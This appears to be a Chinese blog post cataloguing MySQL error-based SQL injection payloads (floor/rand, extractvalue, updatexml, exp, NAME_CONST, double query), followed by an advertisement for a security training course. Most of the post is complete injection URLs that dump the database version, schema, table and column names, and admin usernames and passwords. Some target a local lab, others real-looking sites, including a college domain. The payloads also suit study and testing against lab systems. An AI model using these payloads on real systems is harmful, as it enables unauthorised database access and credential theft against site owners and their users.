mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

报错注入:(and后不能直接跟select,可以加())

  • 1.报错注入floor---->(select 1 from (select count(*),concat((payload[]),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1
  • 2.报错注入extractvalue---->select extractvalue(1,concat(0x5c,([payload])))
  • 3.报错注入updatexml---->select 1=(updatexml(1,concat(0x3a,([payload])),1))
  • 4.报错注入Exp---->select Exp(~(select * from ([payload])a))

1、通过floor暴错(原理在底部)

/数据库版本/

http://127.0.0.1/2/Less-5/?id=1’ and (select 1 from (select count(*),concat((select version()),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1 --+

/简单办法暴库/
http://www.waitalone.cn/sql.php?id=info()

/连接用户/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(_),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)_2))x from information_schema.tables group by x)a)

/连接数据库/
http://127.0.0.1/2/Less-5/?id=1’ and (select 1 from (select count(*),concat((select database()),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1 --+

/暴库/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(_),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)_2))x from information_schema.tables group by x)a)

/暴表/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(_),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)_2))x from information_schema.tables group by x)a)

/暴字段/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(_),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)_2))x from information_schema.tables group by x)a)

/暴内容/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(_),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)_2))x from information_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)–

5、Error based Double Query Injection

(http://www.vaibs.in/error-based-double-query-injection/)
/数据库版本/
http://www.waitalone.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

floor---->(select 1 from (select count(*),concat((payload[]),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1
  • Rand() //随机函数
  • Floor() //取整函数
  • Count() //聚合函数
  • Group by key //分组语句

当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。[这个是Mysql的bug]。

实例:

http://127.0.0.1/s/Less-5/?id=1′ and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1# 

0x3a :的十六进制,在这里把他作为分隔符,没有它查出来的东西就连成一片。

group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值不一致,导致插入时与原本已存在的产生冲突的错误。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

在这里插入图片描述

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

img

2、Linux操作系统

img

3、WEB架构基础与HTTP协议

img

4、Web渗透测试

img

5、渗透测试案例分享

img

6、渗透测试实战技巧

图片

7、攻防对战实战

图片

8、CTF之MISC实战讲解

图片

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

在这里插入图片描述

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐